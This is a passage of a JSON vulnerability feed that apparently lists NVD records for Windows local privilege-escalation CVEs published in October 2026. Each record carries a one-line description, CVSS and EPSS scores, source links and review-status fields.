fixes.","publishedAt":"2026-10-13T19:20:15.543Z","updatedAt":"2026-10-16T16:21:22.370Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83712","asOf":"2026-10-16T16:21:22.370Z"},"epss":{"probability":0.00361,"percentile":0.29673,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83712&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83712","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83712","type":"primary","publishedAt":"2026-10-13T19:20:15.543Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83712&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83712, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83710","cveId":"CVE-2026-83710","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Device Association Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:15.377Z","updatedAt":"2026-10-16T16:21:22.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83710","asOf":"2026-10-16T16:21:22.217Z"},"epss":{"probability":0.00286,"percentile":0.20918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83710&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83710","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83710","type":"primary","publishedAt":"2026-10-13T19:20:15.377Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83710&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83710, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83709","cveId":"CVE-2026-83709","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows NTLM allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows NTLM allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows NTLM allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:15.200Z","updatedAt":"2026-10-16T16:21:20.417Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83709","asOf":"2026-10-16T16:21:20.417Z"},"epss":{"probability":0.00361,"percentile":0.29671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83709&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83709","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83709","type":"primary","publishedAt":"2026-10-13T19:20:15.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83709&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83709, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83708","cveId":"CVE-2026-83708","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Stack-based buffer overflow in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:15.010Z","updatedAt":"2026-10-16T16:21:20.200Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83708","asOf":"2026-10-16T16:21:20.200Z"},"epss":{"probability":0.00286,"percentile":0.20925,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83708&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83708","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83708","type":"primary","publishedAt":"2026-10-13T19:20:15.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83708&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83708, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83707","cveId":"CVE-2026-83707","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Event Tracing allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:14.853Z","updatedAt":"2026-10-16T16:21:20.037Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83707","asOf":"2026-10-16T16:21:20.037Z"},"epss":{"probability":0.00286,"percentile":0.20918,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83707&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83707","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83707","type":"primary","publishedAt":"2026-10-13T19:20:14.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83707&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83707, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83704","cveId":"CVE-2026-83704","aliases":[],"kind":"vulnerability","title":"Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","summary":"Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.","detail":"Improper link resolution before file access ('link following') in Microsoft Windows Search Component allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:14.363Z","updatedAt":"2026-10-16T16:21:19.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83704","asOf":"2026-10-16T16:21:19.620Z"},"epss":{"probability":0.00481,"percentile":0.41226,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83704&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83704","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83704","type":"primary","publishedAt":"2026-10-13T19:20:14.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83704&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83704, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83702","cveId":"CVE-2026-83702","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:13.973Z","updatedAt":"2026-10-16T16:21:19.273Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83702","asOf":"2026-10-16T16:21:19.273Z"},"epss":{"probability":0.00286,"percentile":0.2092,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83702&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83702","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83702","type":"primary","publishedAt":"2026-10-13T19:20:13.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83702&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83702, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83701","cveId":"CVE-2026-83701","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:13.810Z","updatedAt":"2026-10-16T16:21:19.103Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83701","asOf":"2026-10-16T16:21:19.103Z"},"epss":{"probability":0.00286,"percentile":0.20919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83701&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83701","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83701","type":"primary","publishedAt":"2026-10-13T19:20:13.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83701&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83701, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83700","cveId":"CVE-2026-83700","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Now Playing Session Manager allows an authorized attacker to elevate privileges locally.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:13.660Z","updatedAt":"2026-10-16T16:21:18.953Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83700","asOf":"2026-10-16T16:21:18.953Z"},"epss":{"probability":0.00361,"percentile":0.29668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83700&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83700","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83700","type":"primary","publishedAt":"2026-10-13T19:20:13.660Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83700&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83700, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83699","cveId":"CVE-2026-83699","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.","summary":"Stack-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.","detail":"Stack-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:13.480Z","updatedAt":"2026-10-16T16:21:18.777Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83699","asOf":"2026-10-16T16:21:18.777Z"},"epss":{"probability":0.0042,"percentile":0.36001,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83699&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83699","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83699","type":"primary","publishedAt":"2026-10-13T19:20:13.480Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83699&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83699, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83698","cveId":"CVE-2026-83698","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Client-Side Caching (CSC) Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:13.293Z","updatedAt":"2026-10-16T16:21:18.600Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83698","asOf":"2026-10-16T16:21:18.600Z"},"epss":{"probability":0.00361,"percentile":0.29675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83698&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83698","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83698","type":"primary","publishedAt":"2026-10-13T19:20:13.293Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83698&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83698, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83696","cveId":"CVE-2026-83696","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Cloud Files Mini Filter Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:12.987Z","updatedAt":"2026-10-16T16:21:18.297Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83696","asOf":"2026-10-16T16:21:18.297Z"},"epss":{"probability":0.00286,"percentile":0.20927,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83696&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83696","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83696","type":"primary","publishedAt":"2026-10-13T19:20:12.987Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83696&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83696, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83694","cveId":"CVE-2026-83694","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Volume Manager Extension Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:20:12.597Z","updatedAt":"2026-10-16T16:21:17.953Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-83694","asOf":"2026-10-16T16:21:17.953Z"},"epss":{"probability":0.00286,"percentile":0.20919,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-83694&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-83694","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-83694","type":"primary","publishedAt":"2026-10-13T19:20:12.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-83694&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-83694, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-83692","cveId":"CVE-2026-83692","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD 